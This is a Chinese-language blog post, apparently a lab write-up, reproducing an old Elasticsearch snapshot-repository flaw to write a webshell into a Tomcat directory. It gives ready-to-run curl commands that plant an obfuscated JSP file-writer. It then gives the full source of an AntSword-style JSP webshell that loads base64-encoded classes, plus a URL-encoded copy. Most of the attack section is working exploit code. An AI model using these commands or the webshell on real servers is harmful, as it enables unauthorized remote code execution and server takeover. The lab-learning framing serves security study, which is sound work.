当前位置: 首页 > news >正文

wooyun_2015_110216-Elasticsearch-vulfocus

1.原理

ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。
所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。
和CVE-2015-5531类似,该漏洞和备份仓库有关。
在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。
Elasticsearch写入webshell到中间件的目录下->tomcat网页访问该后门->post后门或者软件连接后门
**影响**:ElasticSearch版本1.5.x以前

2.复现过程

由于vulfocus的靶场一般只开25分钟,所以按照我的速度我重新开了三遍,每次端口都不一样

打开靶机,9200是Elasticsearch,8080是tomcat

2.1 写入webshell

第一步
curl -XPOST http://数据库的对应网址/yz.jsp/yz.jsp/1 -d'{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}第二步curl -XPUT 'http://数据库的对应网址/_snapshot/yz.jsp' -d '{"type": "fs","settings": {"location": "/usr/local/tomcat/webapps/wwwroot/","compress": false}}'第三步curl -XPUT "http://数据库的对应网址/_snapshot/yz.jsp/yz.jsp" -d '{"indices": "yz.jsp","ignore_unavailable": "true","include_global_state": false}'

如果没写入的话他这个是这样的

把curl执行完成访问我们刚刚写入的jsp文件,和提交f变量用于写入test文件,访问8080端口的对应目录文件

http://target/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=12345
http://target/wwwroot/test.jsp

2.2 写入蚁剑木马获取flag

后面需要用jsp写一句话木马,然后

参考:蚁剑jsp一句话木马-CSDN博客

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

转成url编码:

%0A%3C%25%21%0A%20%20%20%20class%20U%20extends%20ClassLoader%20%7B%0A%20%20%20%20%20%20%20%20U%28ClassLoader%20c%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20super%28c%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20public%20Class%20g%28byte%5B%5D%20b%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20super.defineClass%28b%2C%200%2C%20b.length%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%0A%20%20%20%20public%20byte%5B%5D%20base64Decode%28String%20str%29%20throws%20Exception%20%7B%0A%20%20%20%20%20%20%20%20try%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20Class%20clazz%20%3D%20Class.forName%28%22sun.misc.BASE64Decoder%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%28byte%5B%5D%29%20clazz.getMethod%28%22decodeBuffer%22%2C%20String.class%29.invoke%28clazz.newInstance%28%29%2C%20str%29%3B%0A%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20e%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20Class%20clazz%20%3D%20Class.forName%28%22java.util.Base64%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20Object%20decoder%20%3D%20clazz.getMethod%28%22getDecoder%22%29.invoke%28null%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%28byte%5B%5D%29%20decoder.getClass%28%29.getMethod%28%22decode%22%2C%20String.class%29.invoke%28decoder%2C%20str%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%25%3E%0A%3C%25%0A%20%20%20%20String%20cls%20%3D%20request.getParameter%28%22passwd%22%29%3B%0A%20%20%20%20if%20%28cls%20%21%3D%20null%29%20%7B%0A%20%20%20%20%20%20%20%20new%20U%28this.getClass%28%29.getClassLoader%28%29%29.g%28base64Decode%28cls%29%29.newInstance%28%29.equals%28pageContext%29%3B%0A%20%20%20%20%7D%0A%25%3E

发现这个test页面空白了,尝试蚁剑连接

当然也可以用其他的软件去连接,我看到网上有用哥斯拉的

http://www.lryc.cn/news/369191.html

相关文章:

  • Fedora的远程桌面
  • CSS id选择器
  • 22.搭积木
  • 手机投屏到电脑时,手机提示连接失败
  • 软件测试--Mysql快速入门
  • 什么是PV操作
  • 差动放大器
  • 【数据结构与算法 经典例题】括号匹配问题
  • 2024年6月最新开源电视影视TVAPP原生源码和后台管理平台源码及完整教程
  • [大模型]GLM4-9B-chat Lora 微调
  • 目标检测算法YOLOv9简介
  • 达梦数据库搭建守护集群
  • OpenGL-ES 学习(6)---- Ubuntu OES 环境搭建
  • Django学习二:配置mysql,创建model实例,自动创建数据库表,对mysql数据库表已经创建好的进行直接操作和实验。
  • 对象创建的4种模式
  • 如何判断 是否 需要 CSS 中的媒体查询
  • 设计模式-装饰器模式(结构型)
  • 升级HarmonyOS 4.2,开启健康生活篇章
  • 给gRPC增加负载均衡功能
  • 【优选算法】详解target类求和问题(附总结)
  • 【数据结构】图论入门
  • 11_1 Linux NFS服务与触发挂载autofs
  • 开发uniapp 小程序时遇到的问题
  • 怎样快速获取Vmware VCP 证书,线上考试,voucher报名优惠
  • LeetCode 1141, 134, 142
  • 华为FPGA工程师面试题
  • Windows11上安装docker(WSL2后端)和使用docker安装MySQL和达梦数据库
  • UnityXR Interactable Toolkit如何实现Climb爬梯子
  • sqli-labs 靶场 less-11~14 第十一关、第十二关、第十三关、第十四关详解:联合注入、错误注入
  • 国内外网络安全现状分析